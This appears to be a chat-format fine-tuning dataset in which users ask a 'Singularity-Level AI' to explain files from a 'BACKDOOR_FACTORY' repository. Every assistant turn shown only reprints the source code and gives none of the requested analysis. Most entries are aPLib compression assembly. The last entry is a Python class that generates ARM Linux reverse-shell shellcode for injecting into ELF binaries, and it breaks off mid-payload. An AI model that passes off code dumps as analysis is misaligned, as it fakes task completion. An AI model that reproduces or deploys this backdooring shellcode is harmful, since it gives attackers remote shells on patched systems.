7*4\n .src$ equ 8*4 + 4\n .dst$ equ 8*4 + 8\n .len$ equ 8*4 + 12\n .wmem$ equ 8*4 + 16\n .cb$ equ 8*4 + 20\n .cbp$ equ 8*4 + 24\n\n pushad\n\n mov ebp, esp\n\n mov esi, [ebp + .src$] ; esi -> inbuffer\n mov edi, [ebp + .dst$] ; edi -> outbuffer\n mov ecx, [ebp + .len$] ; ecx = length\n\n or eax, -1 ; eax = -1\n\n test esi, esi ; check parameters\n jz .return_eax ;\n test edi, edi ;\n jz .return_eax ;\n test ecx, ecx ;\n jz .return_eax ;\n\n mov ebx, 032335041h\n mov [edi], ebx ; set header.tag\n mov ebx, 24\n mov [edi + 4], ebx ; set header.header_size\n\n add ebx, edi ; ebx -> destination for packed data\n\n mov [edi + 16], ecx ; set header.orig_size\n\n push ecx\n push esi\n call aP_crc32\n add esp, 8\n\n mov [edi + 20], eax ; set header.orig_crc\n\n push dword [ebp + .cbp$] ; callback param\n push dword [ebp + .cb$] ; callback\n push dword [ebp + .wmem$] ; workmem\n push ecx ; length\n push ebx ; destination\n push esi ; source\n call aP_pack\n add esp, 24\n\n cmp eax, -1\n je .return_eax\n\n mov [edi + 8], eax ; set header.packed_size\n\n mov edx, eax ; edx = packed size\n\n push eax\n push ebx\n call aP_crc32\n add esp, 8\n\n mov [edi + 12], eax ; set header.packed_crc\n\n lea eax, [edx + 24] ; eax = packed size + header size\n\n .return_eax:\n mov [esp + .ret$], eax ; return unpacked length in eax\n\n popad\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/crc32.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit assembler crc32\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\n; CRC32 calculation taken from the zlib source, which is\n; Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler\n\nformat MS64 COFF\n\npublic aP_crc32\n\n; =============================================================\n\nmacro docrcM\n{\n mov r9, 0x000000ff\n and r9, rax\n shr eax, 8\n xor eax, [r8+r9*4]\n}\n\nmacro docrcbyteM\n{\n xor al, [rcx]\n add rcx, 1\n docrcM\n}\n\nmacro docrcdwordM\n{\n xor eax, [rcx]\n add rcx, 4\n docrcM\n docrcM\n docrcM\n docrcM\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_crc32:\n ; aP_crc32(const void *source, unsigned int length)\n\n lea r8, [aP_crctab] ; r8 -> crctab\n\n sub rax, rax\n\n test rcx, rcx\n jz .c_exit\n\n dec rax\n\n test rdx, rdx\n jz .c_done\n\n .c_align_loop:\n test rcx, 3\n jz .c_aligned_now\n docrcbyteM\n add rdx, -1\n jnz .c_align_loop\n\n .c_aligned_now:\n mov r10, rdx\n and r10, 7\n shr rdx, 3\n jz .c_LT_eight\n\n .c_next_eight:\n docrcdwordM\n docrcdwordM\n add rdx, -1\n jnz .c_next_eight\n\n .c_LT_eight:\n mov rdx, r10\n test rdx, rdx\n jz .c_done\n\n .c_last_loop:\n docrcbyteM\n add rdx, -1\n jnz .c_last_loop\n\n .c_done:\n not eax\n\n .c_exit:\n ret\n\n; =============================================================\n\nsection '.rdata' data readable\n\naP_crctab dd 000000000h, 077073096h, 0ee0e612ch, 0990951bah, 0076dc419h\n dd 0706af48fh, 0e963a535h, 09e6495a3h, 00edb8832h, 079dcb8a4h\n dd 0e0d5e91eh, 097d2d988h, 009b64c2bh, 07eb17cbdh, 0e7b82d07h\n dd 090bf1d91h, 01db71064h, 06ab020f2h, 0f3b97148h, 084be41deh\n dd 01adad47dh, 06ddde4ebh, 0f4d4b551h, 083d385c7h, 0136c9856h\n dd 0646ba8c0h, 0fd62f97ah, 08a65c9ech, 014015c4fh, 063066cd9h\n dd 0fa0f3d63h, 08d080df5h, 03b6e20c8h, 04c69105eh, 0d56041e4h\n dd 0a2677172h, 03c03e4d1h, 04b04d447h, 0d20d85fdh, 0a50ab56bh\n dd 035b5a8fah, 042b2986ch, 0dbbbc9d6h, 0acbcf940h, 032d86ce3h\n dd 045df5c75h, 0dcd60dcfh, 0abd13d59h, 026d930ach, 051de003ah\n dd 0c8d75180h, 0bfd06116h, 021b4f4b5h, 056b3c423h, 0cfba9599h\n dd 0b8bda50fh, 02802b89eh, 05f058808h, 0c60cd9b2h, 0b10be924h\n dd 02f6f7c87h, 058684c11h, 0c1611dabh, 0b6662d3dh, 076dc4190h\n dd 001db7106h, 098d220bch, 0efd5102ah, 071b18589h, 006b6b51fh\n dd 09fbfe4a5h, 0e8b8d433h, 07807c9a2h, 00f00f934h, 09609a88eh\n dd 0e10e9818h, 07f6a0dbbh, 0086d3d2dh, 091646c97h, 0e6635c01h\n dd 06b6b51f4h, 01c6c6162h, 0856530d8h, 0f262004eh, 06c0695edh\n dd 01b01a57bh, 08208f4c1h, 0f50fc457h, 065b0d9c6h, 012b7e950h\n dd 08bbeb8eah, 0fcb9887ch, 062dd1ddfh, 015da2d49h, 08cd37cf3h\n dd 0fbd44c65h, 04db26158h, 03ab551ceh, 0a3bc0074h, 0d4bb30e2h\n dd 04adfa541h, 03dd895d7h, 0a4d1c46dh, 0d3d6f4fbh, 04369e96ah\n dd 0346ed9fch, 0ad678846h, 0da60b8d0h, 044042d73h, 033031de5h\n dd 0aa0a4c5fh, 0dd0d7cc9h, 05005713ch, 0270241aah, 0be0b1010h\n dd 0c90c2086h, 05768b525h, 0206f85b3h, 0b966d409h, 0ce61e49fh\n dd 05edef90eh, 029d9c998h, 0b0d09822h, 0c7d7a8b4h, 059b33d17h\n dd 02eb40d81h, 0b7bd5c3bh, 0c0ba6cadh, 0edb88320h, 09abfb3b6h\n dd 003b6e20ch, 074b1d29ah, 0ead54739h, 09dd277afh, 004db2615h\n dd 073dc1683h, 0e3630b12h, 094643b84h, 00d6d6a3eh, 07a6a5aa8h\n dd 0e40ecf0bh, 09309ff9dh, 00a00ae27h, 07d079eb1h, 0f00f9344h\n dd 08708a3d2h, 01e01f268h, 06906c2feh, 0f762575dh, 0806567cbh\n dd 0196c3671h, 06e6b06e7h, 0fed41b76h, 089d32be0h, 010da7a5ah\n dd 067dd4acch, 0f9b9df6fh, 08ebeeff9h, 017b7be43h, 060b08ed5h\n dd 0d6d6a3e8h, 0a1d1937eh, 038d8c2c4h, 04fdff252h, 0d1bb67f1h\n dd 0a6bc5767h, 03fb506ddh, 048b2364bh, 0d80d2bdah, 0af0a1b4ch\n dd 036034af6h, 041047a60h, 0df60efc3h, 0a867df55h, 0316e8eefh\n dd 04669be79h, 0cb61b38ch, 0bc66831ah, 0256fd2a0h, 05268e236h\n dd 0cc0c7795h, 0bb0b4703h, 0220216b9h, 05505262fh, 0c5ba3bbeh\n dd 0b2bd0b28h, 02bb45a92h, 05cb36a04h, 0c2d7ffa7h, 0b5d0cf31h\n dd 02cd99e8bh, 05bdeae1dh, 09b64c2b0h, 0ec63f226h, 0756aa39ch\n dd 0026d930ah, 09c0906a9h, 0eb0e363fh, 072076785h, 005005713h\n dd 095bf4a82h, 0e2b87a14h, 07bb12baeh, 00cb61b38h, 092d28e9bh\n dd 0e5d5be0dh, 07cdcefb7h, 00bdbdf21h, 086d3d2d4h, 0f1d4e242h\n dd 068ddb3f8h, 01fda836eh, 081be16cdh, 0f6b9265bh, 06fb077e1h\n dd 018b74777h, 088085ae6h, 0ff0f6a70h, 066063bcah, 011010b5ch\n dd 08f659effh, 0f862ae69h, 0616bffd3h, 0166ccf45h, 0a00ae278h\n dd 0d70dd2eeh, 04e048354h, 03903b3c2h, 0a7672661h, 0d06016f7h\n dd 04969474dh, 03e6e77dbh, 0aed16a4ah, 0d9d65adch, 040df0b66h\n dd 037d83bf0h, 0a9bcae53h, 0debb9ec5h, 047b2cf7fh, 030b5ffe9h\n dd 0bdbdf21ch, 0cabac28ah, 053b39330h, 024b4a3a6h, 0bad03605h\n dd 0cdd70693h, 054de5729h, 023d967bfh, 0b3667a2eh, 0c4614ab8h\n dd 05d681b02h, 02a6f2b94h, 0b40bbe37h, 0c30c8ea1h, 05a05df1bh\n dd 02d02ef8dh\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/depack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aP_depack_asm\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm:\n ; aP_depack_asm(const void *source, void *destination)\n\n push rbx\n push rsi\n push rdi\n\n push rdx\n\n mov rsi, rcx\n mov rdi, rdx\n\n cld\n mov dl, 80h\n xor ebx, ebx\n\nliteral:\n movsb\n mov bl, 2\nnexttag:\n call getbit\n jnc literal\n\n xor ecx, ecx\n call getbit\n jnc codepair\n xor eax, eax\n call getbit\n jnc shortmatch\n mov bl, 2\n inc ecx\n mov al, 10h\n .getmorebits:\n call getbit\n adc al, al\n jnc .getmorebits\n jnz domatch\n stosb\n jmp nexttag\ncodepair:\n call getgamma_no_ecx\n sub ecx, ebx\n jnz normalcodepair\n call getgamma\n jmp domatch_lastpos\n\nshortmatch:\n lodsb\n shr eax, 1\n jz donedepacking\n adc ecx, ecx\n jmp domatch_with_2inc\n\nnormalcodepair:\n xchg eax, ecx\n dec eax\n shl eax, 8\n lodsb\n call getgamma\n\n cmp eax, 32000\n jae short domatch_with_2inc\n cmp ah, 5\n jae short domatch_with_inc\n cmp eax, 7fh\n ja short domatch_new_lastpos\n\ndomatch_with_2inc:\n inc ecx\n\ndomatch_with_inc:\n inc ecx\n\ndomatch_new_lastpos:\n xchg eax, r8d\ndomatch_lastpos:\n mov eax, r8d\n\n mov bl, 1\n\ndomatch:\n push rsi\n mov rsi, rdi\n sub rsi, rax\n rep movsb\n pop rsi\n jmp nexttag\n\ngetbit:\n add dl, dl\n jnz .stillbitsleft\n mov dl, [rsi]\n inc rsi\n adc dl, dl\n .stillbitsleft:\n ret\n\ngetgamma:\n xor ecx, ecx\ngetgamma_no_ecx:\n inc ecx\n .getgammaloop:\n call getbit\n adc ecx, ecx\n call getbit\n jc .getgammaloop\n ret\n\ndonedepacking:\n pop rdx\n sub rdi, rdx\n xchg eax, edi\n\n pop rdi\n pop rsi\n pop rbx\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/depackf.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit fast assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aP_depack_asm_fast\n\n; =============================================================\n\nmacro getbitM\n{\n local .stillbitsleft\n\n add dl, dl\n jnz .stillbitsleft\n mov dl, [rsi]\n inc rsi\n adc dl, dl\n .stillbitsleft:\n}\n\nmacro domatchM reg\n{\n local .more\n\n mov r10, rdi\n sub r10, reg\n\n .more:\n mov al, [r10]\n add r10, 1\n mov [rdi], al\n add rdi, 1\n sub rcx, 1\n jnz .more\n}\n\nmacro getgammaM reg\n{\n local .getmorebits\n\n mov reg, 1\n .getmorebits:\n getbitM\n adc reg, reg\n getbitM\n jc .getmorebits\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm_fast:\n ; aP_depack_asm_fast(const void *source, void *destination)\n\n mov [rsp + 8], rsi\n mov [rsp + 16], rdx\n push rdi\n\n mov rsi, rcx\n mov rdi, rdx\n\n cld\n mov dl, 80h\n\nliteral:\n mov al, [rsi]\n add rsi, 1\n mov [rdi], al\n add rdi, 1\n\n mov r9, 2\n\nnexttag:\n getbitM\n jnc literal\n\n getbitM\n jnc codepair\n\n xor rax, rax\n getbitM\n jnc shortmatch\n\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n jz thewrite\n\n mov r9, rdi\n sub r9, rax\n mov al, [r9]\n\nthewrite:\n mov [rdi], al\n add rdi, 1\n\n mov r9, 2\n jmp short nexttag\n\ncodepair:\n getgammaM rax\n sub rax, r9\n mov r9, 1\n jnz normalcodepair\n\n getgammaM rcx\n domatchM r8\n\n jmp nexttag\n\nnormalcodepair:\n add rax, -1\n\n shl rax, 8\n mov al, [rsi]\n add rsi, 1\n\n mov r8, rax\n\n getgammaM rcx\n\n cmp rax, 32000\n sbb rcx, -1\n\n cmp rax, 1280\n sbb rcx, -1\n\n cmp rax, 128\n adc rcx, 0\n\n cmp rax, 128\n adc rcx, 0\n\n domatchM rax\n jmp nexttag\n\nshortmatch:\n mov al, [rsi]\n add rsi, 1\n\n xor rcx, rcx\n db 0c0h, 0e8h, 001h\n jz donedepacking\n\n adc rcx, 2\n\n mov r8, rax\n\n domatchM rax\n\n mov r9, 1\n jmp nexttag\n\ndonedepacking:\n mov rax, rdi\n sub rax, [rsp + 24]\n\n mov rsi, [rsp + 16]\n pop rdi\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/depacks.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit safe assembler depacker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aP_depack_asm_safe\n\n; =============================================================\n\nmacro getbitM\n{\n local .stillbitsleft\n\n add dl, dl\n jnz .stillbitsleft\n\n sub r10, 1 ; read one byte from source\n jc return_error ;\n\n mov dl, [rsi]\n add rsi, 1\n\n add dl, dl\n inc dl\n .stillbitsleft:\n}\n\nmacro domatchM reg\n{\n local .more\n\n mov r8, [rsp + 32] ; r8 = dstlen\n sub r8, r11 ; r8 = num written\n cmp reg, r8\n ja return_error\n\n sub r11, rcx ; write rcx bytes to destination\n jc return_error ;\n\n mov r8, rdi\n sub r8, reg\n\n .more:\n mov al, [r8]\n add r8, 1\n mov [rdi], al\n add rdi, 1\n sub rcx, 1\n jnz .more\n}\n\nmacro getgammaM reg\n{\n local .getmore\n mov reg, 1\n .getmore:\n getbitM\n adc reg, reg\n jc return_error\n getbitM\n jc .getmore\n}\n\n; =============================================================\n\nsection '.text' code readable executable\n\naP_depack_asm_safe:\n ; aP_depack_asm_safe(const void *source,\n ; unsigned int srclen,\n ; void *destination,\n ; unsigned int dstlen)\n\n mov [rsp + 8], r9\n mov [rsp + 16], r8\n mov [rsp + 24], rbp\n push rbx\n push rsi\n push rdi\n\n mov rsi, rcx\n mov r10, rdx\n mov rdi, r8\n mov r11, r9\n\n test rsi, rsi\n jz return_error\n\n test rdi, rdi\n jz return_error\n\n or rbp, -1\n\n cld\n xor rdx, rdx\n\nliteral:\n sub r10, 1 ; read one byte from source\n jc return_error ;\n\n mov al, [rsi]\n add rsi, 1\n\n sub r11, 1 ; write one byte to destination\n jc return_error ;\n\n mov [rdi], al\n add rdi, 1\n\n mov rbx, 2\n\nnexttag:\n getbitM\n jnc literal\n\n getbitM\n jnc codepair\n\n xor rax, rax\n\n getbitM\n jnc shortmatch\n\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n getbitM\n adc rax, rax\n jz .thewrite\n\n mov r8, [rsp + 32] ; r8 = dstlen\n sub r8, r11 ; r8 = num written\n cmp rax, r8\n ja return_error\n\n mov r8, rdi\n sub r8, rax\n mov al, [r8]\n\n .thewrite:\n sub r11, 1 ; write one byte to destination\n jc return_error ;\n\n mov [rdi], al\n add rdi, 1\n\n mov rbx, 2\n\n jmp nexttag\n\ncodepair:\n getgammaM rax\n\n sub rax, rbx\n\n mov rbx, 1\n\n jnz normalcodepair\n\n getgammaM rcx\n\n domatchM rbp\n\n jmp nexttag\n\nnormalcodepair:\n add rax, -1\n\n cmp rax, 0x00fffffe\n ja return_error\n\n shl rax, 8\n\n sub r10, 1 ; read one byte from source\n jc return_error ;\n\n mov al, [rsi]\n add rsi, 1\n\n mov rbp, rax\n\n getgammaM ecx\n\n cmp rax, 32000\n sbb rcx, -1\n\n cmp rax, 1280\n sbb rcx, -1\n\n cmp rax, 128\n adc rcx, 0\n\n cmp rax, 128\n adc rcx, 0\n\n domatchM rax\n jmp nexttag\n\nshortmatch:\n sub r10, 1 ; read one byte from source\n jc return_error ;\n\n mov al, [rsi]\n add rsi, 1\n\n xor rcx, rcx\n db 0c0h, 0e8h, 001h\n jz donedepacking\n\n adc rcx, 2\n\n mov rbp, rax\n\n domatchM rax\n\n mov rbx, 1\n\n jmp nexttag\n\nreturn_error:\n or rax, -1 ; return APLIB_ERROR in rax\n\n jmp exit\n\ndonedepacking:\n mov rax, rdi\n sub rax, [rsp + 40]\n\nexit:\n mov rbp, [rsp + 48]\n pop rdi\n pop rsi\n pop rbx\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/scheck.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit safe assembler crc checker\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aPsafe_check\n\nextrn aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_check:\n ; aPsafe_check(const void *source)\n\n push rdi\n sub rsp, 32\n\n mov rdi, rcx ; rdi -> source\n\n test rcx, rcx\n jz .return_error\n\n mov eax, [rdi] ; eax = header.tag\n\n cmp eax, 032335041h ; check tag == 'AP32'\n jne .return_error\n\n mov eax, [rdi + 4] ; rax = header.header_size\n cmp eax, 24 ; check header_size >= 24\n jb .return_error\n\n add rcx, rax ; rcx -> packed data\n mov edx, [rdi + 8] ; rdx = header.packed_size\n\n call aP_crc32\n\n cmp eax, [rdi + 12] ; check eax == header.packed_crc\n\n mov eax, [rdi + 16] ; rax = header.orig_size\n\n je .return_rax\n\n .return_error:\n or rax, -1 ; rax = -1\n\n .return_rax:\n add rsp, 32\n pop rdi\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/sdepack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit safe assembler wrapper for aP_depack_asm_safe\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aPsafe_depack\n\nextrn aP_depack_asm_safe\nextrn aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_depack:\n ; aPsafe_depack(const void *source,\n ; size_t srclen,\n ; void *destination\n ; size_t dstlen)\n\n mov [rsp + 8], rcx\n mov [rsp + 16], rdx\n mov [rsp + 24], r8\n mov [rsp + 32], r9\n push rdi\n sub rsp, 32\n\n mov rdi, rcx ; rdi -> source\n\n test rcx, rcx\n jz .return_error\n\n test r8, r8\n jz .return_error\n\n cmp rdx, 24 ; check srclen >= 24\n jb .return_error ;\n\n mov eax, [rdi] ; eax = header.tag\n\n cmp eax, 032335041h ; check tag == 'AP32'\n jne .return_error\n\n mov eax, [rdi + 4] ; rax = header.header_size\n cmp eax, 24 ; check header_size >= 24\n jb .return_error\n\n sub rdx, rax ; rdx = srclen without header\n jc .return_error ;\n\n cmp [rdi + 8], edx ; check header.packed_size is\n ja .return_error ; within remaining srclen\n\n add rcx, rax ; rcx -> packed data\n\n mov edx, [rdi + 8] ; rdx = header.packed_size\n\n call aP_crc32\n\n cmp eax, [rdi + 12] ; check eax == header.packed_crc\n jne .return_error\n\n mov r9, [rsp + 72] ; r9 = dstlen\n\n mov edx, [rdi + 16] ; rdx = header.orig_size\n cmp rdx, r9 ; check header.orig_size is ok\n ja .return_error\n\n mov eax, [rdi + 4] ; rax = header.header_size\n\n mov rcx, [rsp + 48] ; rcx -> source\n mov edx, [rdi + 8] ; rdx = header.packed_size\n mov r8, [rsp + 64] ; r8 -> destination\n\n add rcx, rax ; rcx -> compressed data\n\n call aP_depack_asm_safe\n\n mov edx, [rdi + 16] ; rdx = header.orig_size\n\n cmp rax, rdx ; check rax == header.orig_size\n jne .return_error\n\n mov rcx, [rsp + 64] ; rcx -> destination\n\n call aP_crc32\n\n cmp eax, [rdi + 20] ; check eax = header.orig_crc\n\n mov eax, [rdi + 16] ; rax = header.orig_size\n\n je .return_rax\n\n .return_error:\n or rax, -1 ; rax = -1\n\n .return_rax:\n add rsp, 32\n pop rdi\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/sgetsize.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit safe assembler header access\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\nformat MS64 COFF\n\npublic aPsafe_get_orig_size\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_get_orig_size:\n ; aPsafe_get_orig_size(const void *source)\n\n mov edx, [rcx] ; edx = header.tag\n\n or rax, -1 ; rax = -1\n\n cmp edx, 032335041h ; check tag == 'AP32'\n jne .return_rax\n\n mov edx, [rcx + 4] ; edx = header.header_size\n cmp edx, 24 ; check header_size >= 24\n jb .return_rax\n\n mov eax, [rcx + 16] ; rax = header.orig_size\n\n .return_rax:\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/src/64bit/spack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;;\n;; aPLib compression library - the smaller the better :)\n;;\n;; fasm 64-bit safe assembler wrapper for aP_pack\n;;\n;; Copyright (c) 1998-2014 Joergen Ibsen\n;; All Rights Reserved\n;;\n;; http://www.ibsensoftware.com/\n;;\n\n; header format:\n;\n; offs size data\n; --------------------------------------\n; 0 dword tag ('AP32')\n; 4 dword header_size (24 bytes)\n; 8 dword packed_size\n; 12 dword packed_crc\n; 16 dword orig_size\n; 20 dword orig_crc\n\nformat MS64 COFF\n\npublic aPsafe_pack\n\nextrn aP_pack\nextrn aP_crc32\n\n; =============================================================\n\nsection '.text' code readable executable\n\naPsafe_pack:\n ; aPsafe_pack(const void *source,\n ; void *destination,\n ; unsigned int length,\n ; void *workmem,\n ; int (*callback)(unsigned int, unsigned int, void *),\n ; void *cbparam)\n\n mov [rsp + 8], rcx\n mov [rsp + 16], rdx\n mov [rsp + 24], r8\n mov [rsp + 32], r9\n push rdi\n sub rsp, 48\n\n mov rdi, rdx ; rdi -> destination\n\n or rax, -1 ; rax = -1\n\n test rcx, rcx ; check parameters\n jz .return_rax ;\n test rdx, rdx ;\n jz .return_rax ;\n test r8, r8 ;\n jz .return_rax ;\n\n mov edx, 032335041h\n mov [rdi], edx ; set header.tag\n\n mov edx, 24\n mov [rdi + 4], edx ; set header.header_size\n\n mov rdx, r8\n mov [rdi + 16], edx ; set header.orig_size\n\n call aP_crc32\n\n mov [rdi + 20], eax ; set header.orig_crc\n\n mov r10, [rsp + 96] ; r10 -> callback\n mov r11, [rsp + 104] ; r11 = cbparam\n\n mov rcx, [rsp + 64]\n mov rdx, [rsp + 72]\n mov r8, [rsp + 80]\n mov r9, [rsp + 88]\n mov [rsp + 32], r10\n mov [rsp + 40], r11\n add rdx, 24 ; rdx -> after header\n\n call aP_pack\n\n cmp eax, -1\n je .return_rax\n\n mov [rdi + 8], eax ; set header.packed_size\n\n mov rcx, [rsp + 72] ; rcx -> destination\n mov rdx, rax ; rdx = packed size\n add rcx, 24 ; rcx -> after header\n\n call aP_crc32\n\n mov [rdi + 12], eax ; set header.packed_crc\n\n mov eax, [rdi + 8] ; eax = header.packed_size\n add rax, 24 ; rax = final size\n\n .return_rax:\n add rsp, 48\n pop rdi\n\n ret\n\n; =============================================================\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: arm/LinuxARMLELF32.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\n\nCopyright (c) 2013-2014, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\nimport sys\n\n\nclass linux_elfarmle32_shellcode():\n \"\"\"\n Linux ELFIntel xarm shellcode class\n \"\"\"\n\n def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None, shellcode_vaddr=0x0):\n #could take this out HOST/PORT and put into each shellcode function\n self.HOST = HOST\n self.PORT = PORT\n self.e_entry = e_entry\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.shellcode = \"\"\n self.shellcode_vaddr = shellcode_vaddr\n\n def pack_ip_addresses(self):\n hostocts = []\n if self.HOST is None:\n print \"This shellcode requires a HOST parameter -H\"\n sys.exit(1)\n for i, octet in enumerate(self.HOST.split('.')):\n hostocts.append(int(octet))\n self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],\n hostocts[2], hostocts[3])\n return self.hostip\n\n def returnshellcode(self):\n return self.shellcode\n\n def reverse_shell_tcp(self, CavesPicked={}):\n \"\"\"\n Modified from metasploit payload/linux/armle/shell_reverse_tcp\n to correctly fork the shellcode payload and contiue normal execution.\n \"\"\"\n if self.PORT is None:\n print (\"Must provide port\")\n sys.exit(1)\n #FORKING\n self.shellcode1 = \"\\x00\\x40\\xa0\\xe1\" # mov r4, r0 \n self.shellcode1 += \"\\x00\\x00\\x40\\xe0\" # sub r0, r0, r0\n self.shellcode1 += \"\\x02\\x70\\xa0\\xe3\" # mov r7, #2\n self.shellcode1 += \"\\x00\\x00\\x00\\xef\" # scv 0\n self.shellcode1 += \"\\x00\\x00\\x50\\xe3\" # cmp r0, #\n self.shellcode1 += \"\\x04\\x00\\xa0\\xe1\" # mov r0, r4\n self.shellcode1 += \"\\x04\\x40\\x44\\xe0\" # sub r4, r4, r4\n self.shellcode1 += \"\\x00\\x70\\xa0\\xe3\" # mov r7, #0\n self.shellcode1 += \"\\x00\\x00\\x00\\x0a\" # beq to shellcode\n # JMP Address = (entrypoint - currentaddress -8)/4\n 